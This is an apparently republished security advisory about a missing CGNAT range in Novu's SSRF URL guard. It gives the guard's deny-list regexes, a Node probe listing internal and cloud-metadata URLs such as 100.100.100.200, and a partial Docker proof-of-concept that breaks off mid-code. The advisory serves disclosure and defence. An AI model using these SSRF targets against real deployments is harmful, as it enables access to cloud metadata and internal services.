GHSA-vg6v-j97m-h5xq

GHSA-vg6v-j97m-h5xq · @novu/application-generic: `validateUrlSsrf` permits CGNAT (100.64.0.0/10) destinations — affects Workflow HTTP request step + Webhook filter condition

Здесь приведены факты из открытых источников об уязвимостях. Перед обновлением ознакомьтесь с исходным сообщением.

На странице показана часть фактов из источников. Полное описание и список затронутых версий приведены в связанных бюллетенях.

Hi Novu team, Reporting an SSRF blocklist gap in the shared `validateUrlSsrf` guard. A complete self-contained reproduction is inlined below — copy the four files into a directory and run `docker compose up`, plus a single-file probe that runs against Node directly. Locally validated against HEAD `291817c`. ## Summary Novu's shared SSRF guard `validateUrlSsrf(url)` is used before server-side requests to user-configured URLs. The guard resolves hostnames and blocks a regex list of private/reserved IP ranges, but it does not block `100.64.0.0/10` shared address space. As a result, Novu features protected by this guard can still send server-side requests to destinations such as `100.100.100.200` (Alibaba Cloud metadata service) and any other service reachable in `100.64.0.0/10`. ## Affected code Guard: - `libs/application-generic/src/utils/ssrf-url-validation.ts` - `isPrivateIp(...)` regex list at lines 9-28 - DNS resolution and address validation at lines 55-72 Product call-sites: - Workflow HTTP request step: `apps/worker/src/app/workflow/usecases/send-message/execute-http-request-step.usecase.ts` — calls `validateUrlSsrf(url)` at line 149, then uses `HttpClientService` to send the request. - Webhook filter condition: `libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts` — calls `validateUrlSsrf(child.webhookUrl)` at line 265, then sends `axios.post(child.webhookUrl, ...)` at line 277. HTTP client: - `libs/application-generic/src/services/http-client/http-client.service.ts` — uses `got(gotOptions)` at lines 120 and 142 after the preflight validation. ## Root cause The SSRF guard uses a hand-written regex deny-list: ```ts /^0\.0\.0\.0$/i, /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./, /^::ffff:127\./i, /^::ffff:10\./i, /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i, /^::ffff:192\.168\./i, /^::ffff:169\.254\./i, /^::1$/, /^fc00:/i, /^fe80:/i, ``` This list omits `100.64.0.0/10`, also called shared address space or CGNAT. These addresses are not RFC1918 private addresses, but they are also not normal public-internet destinations. Cloud and infrastructure providers commonly use special-use address ranges for metadata and internal services; **Alibaba Cloud metadata is available at `100.100.100.200`**. ## Reproduction — Part 1: unit-level probe (no Docker required) Save the following file and run with `node novu_ssrf_guard_probe.js`. The script replicates `validateUrlSsrf` from `libs/application-generic/src/utils/ssrf-url-validation.ts` **verbatim** (the `isPrivateIp` regex list is copied as-is) and tests several URL categories. ### `novu_ssrf_guard_probe.js` ```javascript const dns = require('dns/promises'); function isPrivateIp(ip) { const privateRanges = [ /^0\.0\.0\.0$/i, /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./, /^::ffff:127\./i, /^::ffff:10\./i, /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i, /^::ffff:192\.168\./i, /^::ffff:169\.254\./i, /^::1$/, /^fc00:/i, /^fe80:/i, ]; return privateRanges.some((range) => range.test(ip)); } async function validateUrlSsrf(url) { let parsed; try { parsed = new URL(url); } catch { return 'Invalid URL format.'; } if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') { return `URL scheme "${parsed.protocol}" is not allowed.`; } const hostname = parsed.hostname.toLowerCase(); const blockedHostnames = ['localhost', 'metadata.google.internal']; if (blockedHostnames.includes(hostname)) { return `Requests to "${hostname}" are not allowed.`; } let addresses; try { addresses = await dns.lookup(hostname, { all: true }); } catch { return `Unable to resolve hostname "${hostname}".`; } for (const { address } of addresses) { if (isPrivateIp(address)) { return `Requests to private or reserved IP addresses are not allowed (resolved: ${address}).`; } } return null; } async function main() { for (const url of [ 'http://127.0.0.1/', 'http://0.0.0.0/', 'http://0.0.0.1/', 'http://169.254.169.254/', 'http://100.64.0.1/', 'http://100.100.100.200/', 'http://224.0.0.1/', 'http://[fd00::1]/', 'http://[64:ff9b::7f00:1]/', 'http://[::ffff:100.64.0.1]/', 'http://8.8.8.8/', ]) { console.log(JSON.stringify({ url, verdict: (await validateUrlSsrf(url)) ?? 'ALLOW' })); } } main().catch((e) => { console.error(e); process.exitCode = 1; }); ``` ### Expected output (relevant lines) ```json {"url":"http://127.0.0.1/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 127.0.0.1)."} {"url":"http://169.254.169.254/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 169.254.169.254)."} {"url":"http://100.64.0.1/","verdict":"ALLOW"} {"url":"http://100.100.100.200/","verdict":"ALLOW"} {"url":"http://8.8.8.8/","verdict":"ALLOW"} ``` The 2nd and 3rd `ALLOW` rows are the bypass — both are non-public destinations the guard should refuse. ## Reproduction — Part 2: end-to-end Docker CGNAT proof Save the three files below into a directory, then: ```bash docker compose up --abort-on-container-exit --exit-code-from novu-client ``` This mirrors the product sequence in `execute-http-request-step.usecase.ts`: resolve hostname → validate with `validateUrlSsrf` → send HTTP request. The "target" container is bound to a CGNAT address (`100.64.0.20`) on a custom subnet, simulando a cloud-internal service reachable on the CGNAT range. ### `docker-compose.yml` ```yaml services: cgnat-target: image: python:3.12-alpine command: python -u /srv/target.py volumes: - ./target.py:/srv/target.py:ro networks: novu-cgnat: ipv4_address: 100.64.0.20 novu-client: image: node:22-alpine command: node /srv/client.js volumes: - ./client.js:/srv/client.js:ro depends_on: - cgnat-target networks: novu-cgnat: ipv4_address: 100.64.0.10 networks: novu-cgnat: ipam: config: - subnet: 100.64.0.0/24 ``` ### `target.py` ```python from http.server import BaseHTTPRequestHandler, HTTPServer class Handler(BaseHTTPRequestHandler): def do_POST(self): print(f"[target] {self.client_address[0]} POST {self.path}", flush=True) self.send_response(200) self.send_header("content-type", "application/json") self.end_headers() self.wfile.write(b'{"marker":"NOVU_CGNAT_SSRF_OK"}\n') def log_message(self, fmt, *args): return HTTPServer(("100.64.0.20", 8080), Handler).serve_forever() ``` ### `client.js` ```javascript const dns = require('dns/promises'); function isPrivateIp(ip) { const privateRanges = [ /^0\.0\.0\.0$/i, /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./, /^::ffff:127\./i, /^::ffff:10\./i, /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i, /^::ffff:192\.168\./i, /^::ffff:169\.254\./i, /^::1$/, /^fc00:/i, /^fe80:/i, ]; return privateRanges.some((range) => range.test(ip)); } async function validateUrlSsrf(url) { const parsed = new URL(url); if (!['http:', 'https:'].includes(parsed.protocol)) return 'bad scheme'; if (['localhost', 'metadata.google.internal'].includes(parsed.hostname.toLowerCase())) { return 'blocked hostname'; } const addresses = await dns.lookup(parsed.hostname, { all: true }); for (const { address } of addresses) { if (isPrivateIp(address)) return `blocked ${address}`; } return null; } async function waitForTarget(url) { for (let attempt = 0; attempt < 20; attempt += 1) { try { const r = await fetch(url, { method: 'POST' }); await r.text(); return; } catch (_e) { await new Promise((resolve) => setTimeout(resolve, 250)); } } } async function main() { const url = 'http://cgnat-target:8080/workflow-http-step'; const addresses = await d

CVSS 6.8 · Средний · Есть исправление

Опубликовано

2026-07-28T14:59:22Z

Обновлено

2026-07-28T15:15:32.607350755Z

Стек: node

Проверьте свой сервер →